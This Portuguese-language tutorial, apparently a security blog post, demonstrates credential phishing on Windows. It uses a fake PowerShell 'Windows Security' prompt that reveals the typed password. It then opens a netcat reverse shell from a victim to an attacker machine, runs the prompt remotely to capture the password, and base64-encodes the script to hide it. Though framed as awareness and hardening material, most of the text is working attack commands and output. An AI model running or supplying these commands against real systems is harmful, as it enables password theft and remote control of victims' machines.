Existem diversas maneiras e recursos para se capturar a senha do usuário, mas da mesma forma existem boas práticas de segurança que podem ser aplicadas tanto durante um processo de conscientização para os usuários como a aplicação de Hardening para garantir que não seja possível executar scripts em PowerShell.
Inicie e PowerShell e execute o comando :
Windows$senha = $Host.ui.PromptForCredential("Windows Security", "Informe o Usuário e a Senha", "$env:userdomain\$env:username",""); $senha.GetNetworkCredential() | select-object UserName, Domain, Password
Será exibida a tela de autenticação :
Assim que os dados são informados os mesmos são exibidos na tela em seguida, separados pelas colunas UserName, Domain, Password
Na máquina do Atacante execute o comando :
Linuxnc -lvp 4444
Na máquina da Vítima execute o comando :
Windowsnc 192.168.100 4444 -e C:\Windows\System32\cmd.exe
Conexão estabelecida com sucesso! Execute o comando whoami para exibir o Usuário Logado.
Linuxwhoami 100security\marcos
Na máquina do Atacante execute o powershell em seguida o comando :
Linuxpowershell.exe $senha = $Host.ui.PromptForCredential("Windows Security", "Informe o Usuário e a Senha", "$env:userdomain\$env:username",""); $senha.GetNetworkCredential() | select-object UserName, Domain, Password
Na máquina da Vítima será solicitado o Usuário e Senha.
100SECURITY\Marcos P@ssw0rd
Na máquina do Atacante ele consegue visualizar os dados informados pela Vítima :
100SECURITY\Marcos P@ssw0rd
Para encodar o script é bem simples, basta seguir os passos :
Windows$SCRIPT = '$senha = $Host.ui.PromptForCredential("Windows Security", "Informe o Usuário e a Senha", "$env:userdomain\$env:username",""); $senha.GetNetworkCredential() | select-object UserName, Domain, Password' $ENCODE = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($SCRIPT)) Write-Output $ENCODE JABzAGUAbgBoAGEAIAA9ACAAJABIAG8AcwB0AC4AdQBpAC4AUAByAG8AbQBwAHQARgBvAHIAQwByAGUAZABlAG4AdABpAGEAbAAoACIAVwBpAG4AZABvAHcAcwAgAFMAZQBjAHUAcgBpAHQAeQAiACwAIAAiAEkAbgBmAG8AcgBtAGUAIABvACAAVQBzAHUA4QByAGkAbwAgAGUAIABhACAAUwBlAG4AaABhACIALAAgACIAJABlAG4AdgA6AHUAcwBlAHIAZABvAG0AYQBpAG4AXAAkAGUAbgB2ADoAdQBzAGUAcgBuAGEAbQBlACIALAAiACIAKQA7ACAAJABzAGUAbgBoAGEALgBHAGUAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAKAApACAAfAAgAHMAZQBsAGUAYwB0AC0AbwBiAGoAZQBjAHQAIABVAHMAZQByAE4AYQBtAGUALAAgAEQAbwBtAGEAaQBuACwAIABQAGEAcwBzAHcAbwByAGQA
Para executar o script encodado basta informar a opção -E :
Windowspowershell.exe -E JABzAGUAbgBoAGEAIAA9ACAAJABIAG8AcwB0AC4AdQBpAC4AUAByAG8AbQBwAHQARgBvAHIAQwByAGUAZABlAG4AdABpAGEAbAAoACIAVwBpAG4AZABvAHcAcwAgAFMAZQBjAHUAcgBpAHQAeQAiACwAIAAiAEkAbgBmAG8AcgBtAGUAIABvACAAVQBzAHUA4QByAGkAbwAgAGUAIABhACAAUwBlAG4AaABhACIALAAgACIAJABlAG4AdgA6AHUAcwBlAHIAZABvAG0AYQBpAG4AXAAkAGUAbgB2ADoAdQBzAGUAcgBuAGEAbQBlACIALAAiACIAKQA7ACAAJABzAGUAbgBoAGEALgBHAGUAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAKAApACAAfAAgAHMAZQBsAGUAYwB0AC0AbwBiAGoAZQBjAHQAIABVAHMAZQByAE4AYQBtAGUALAAgAEQAbwBtAGEAaQBuACwAIABQAGEAcwBzAHcAbwByAGQA
Informar os dados solicitados :
1000SECURITY\marcos P@ssw0rd
Os dados como UserName, Domain e Password são exibidos na tela :
UserName : Marcos Domain : 100SECURITY Password : P@ssw0rd